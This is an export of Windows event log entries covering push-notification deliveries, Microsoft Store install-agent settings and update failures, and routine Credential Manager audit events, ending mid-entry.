[AppUserModelId] badge [NotificationType] 9394 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.884\t2418\tA local notification was submitted to threadpool: Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] badge [NotificationType] 9395 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.889\t3053\tbadge with notification tracking id 9394 is being delivered to Microsoft.YourPhone_8wekyb3d8bbwe!App.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.889\t3053\tbadge with notification tracking id 9395 is being delivered to Microsoft.YourPhone_8wekyb3d8bbwe!App.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.893\t2006\t\"LoadCheckpointWorker CheckpointDataBlob is  QueueItemId = {\"\"InstallType\"\":\"\"Update\"\",\"\"AutomaticallyDownloadAndInstallUpdateIfFound\"\":false,\"\"AllowCachedResult\"\":false,\"\"FulfillmentData\"\":[],\"\"systemAttemptCount\"\":3} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadCheckpointsWorker\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5194)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.910\t1002\tError 0x80070002 occurred while verifying known folder {1777f761-68ad-4d8a-87bd-30b759fa33dd} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\Favorites'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:24.913\t1002\tError 0x80070002 occurred while verifying known folder {b4bfcc3a-db2c-424c-b029-7fe99a87c641} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\Desktop'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:24.970\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.971\t2006\t\"CreateInstallServiceWorkFromBridge. SystemAttemptCount is 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: CreateInstallServiceWorkFromBridge\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (1791)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.971\t2006\t\"[Start] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NZKPSTSNW4P\"\",\"\"WuBundleId\"\":\"\"97749f59-fa5c-47b6-aba6-d370e97f3f9e\"\",\"\"WuCategoryId\"\":\"\"9607e6e2-46a5-4a17-afca-908ffc36d70b\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (494)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.971\t2007\t\"InstallService InProc Caller. Current Thread not impersonating. Using current process (LocalSystem)\nError: Unknown HResult Error code: 0xefffffff\nFunction: CallerContext::_getCallerToken\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\callercontext.cpp (92)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.975\t2416\tA local notification was received from Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.976\t2418\tA local notification was submitted to threadpool: Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] badge [NotificationType] 9396 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.980\t3053\tbadge with notification tracking id 9396 is being delivered to Microsoft.YourPhone_8wekyb3d8bbwe!App.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:25.000\t2006\t\"AppId = 9607e6e2-46a5-4a17-afca-908ffc36d70b, WU Installed Flag = 0, OnlineSearch = 0, Interactive = 0, Scope = 2, Client ID = Update;Microsoft.XboxGamingOverlay_8wekyb3d8bbwe-SearchForUpdatesWithPausedAddAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: SearchUpdatePackages\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (280)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.003\t2006\t\"UUS Version = 1509.2607.1012.0\nError: Unknown HResult Error code: 0xefffffff\nFunction: SearchUpdatePackages\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (286)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.003\t2006\t\"WU query: \"\"IsInstalled=0 AND AppCategoryIDs contains '9607e6e2-46a5-4a17-afca-908ffc36d70b'\"\"\nError: Unknown HResult Error code: 0xefffffff\nFunction: SearchUpdatePackages\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (359)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.038\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.039\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.040\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.041\t2006\t\"[Telemetry]: StateTransition :: ProductId = (null) \u00a0PFN = (null) \u00a0CatalogId = (null) \u00a0FulfillmentPluginId = (null) \u00a0PluginTelemetryData = (null) \u00a0PrevState = ServiceStateChange \u00a0NewState = ServiceStateChange \u00a0PluginLastStage = 4 \u00a0HResult = 0 \u00a0__TlgCV__ = (null) \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"WU scan found 0 packages\nError: Unknown HResult Error code: 0xefffffff\nFunction: _PackagesFromSearchResult\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (157)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2007\t\"Failure detected\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (569)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2008\t\"[Error] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NZKPSTSNW4P\"\",\"\"WuBundleId\"\":\"\"97749f59-fa5c-47b6-aba6-d370e97f3f9e\"\",\"\"WuCategoryId\"\":\"\"9607e6e2-46a5-4a17-afca-908ffc36d70b\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (494)\"\tError\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2008\t\"Error creating work item\u00a0\nError: Unknown HResult Error code: 0x80240024\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (652)\"\tError\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"Failure detected\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: NULL (0)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"winrt::hresult_error: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp(569)\\installservice.dll!00007FFBBFA131E5: (caller: 00007FFBBFA1056E) Exception(1) tid(1bb0) 80240024\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: NULL (0)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"Failure detected\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: NULL (0)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2007\t\"Failed to recover work from checkpoint. PackageFamilyName = Microsoft.XboxGamingOverlay_8wekyb3d8bbwe, cv = MF/KZgpOVUygJPUL.4.3.1.2.0, HRESULT = 0x80240024\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadCheckpointsWorker\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5352)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"LoadCheckpointWorker CheckpointDataBlob is  QueueItemId = {\"\"InstallType\"\":\"\"Install\"\",\"\"FulfillmentData\"\":[],\"\"systemAttemptCount\"\":26} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadCheckpointsWorker\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5194)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.707\t2006\t\"CreateInstallServiceWorkFromBridge. SystemAttemptCount is 26\nError: Unknown HResult Error code: 0xefffffff\nFunction: CreateInstallServiceWorkFromBridge\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (1791)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.707\t2006\t\"[Start] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NRZT3Q9R3DL\"\",\"\"WuBundleId\"\":\"\"1c9d0171-5785-4dca-a220-41429db28c92\"\",\"\"WuCategoryId\"\":\"\"23f6ac41-7701-46ef-81fe-d3bc61d011bf\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null,\"\"PackageRankId\"\":\"\"100\"\",\"\"PackageFullNameId\"\":\"\"Microsoft.WindowsAppRuntime.2_2.3.1.0_x64__8wekyb3d8bbwe\"\",\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (312)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.707\t2007\t\"InstallService InProc Caller. Current Thread not impersonating. Using current process (LocalSystem)\nError: Unknown HResult Error code: 0xefffffff\nFunction: CallerContext::_getCallerToken\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\callercontext.cpp (92)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.708\t2005\t\"Processing fulfillment data: PackageRank=100, PackageFullName=Microsoft.WindowsAppRuntime.2_2.3.1.0_x64__8wekyb3d8bbwe\nError: Unknown HResult Error code: 0xefffffff\nFunction: UWAInstallWork::UWAInstallWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\uwainstallwork.cpp (613)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.708\t2006\t\"[End] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NRZT3Q9R3DL\"\",\"\"WuBundleId\"\":\"\"1c9d0171-5785-4dca-a220-41429db28c92\"\",\"\"WuCategoryId\"\":\"\"23f6ac41-7701-46ef-81fe-d3bc61d011bf\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null,\"\"PackageRankId\"\":\"\"100\"\",\"\"PackageFullNameId\"\":\"\"Microsoft.WindowsAppRuntime.2_2.3.1.0_x64__8wekyb3d8bbwe\"\",\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (312)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.762\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.762\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential 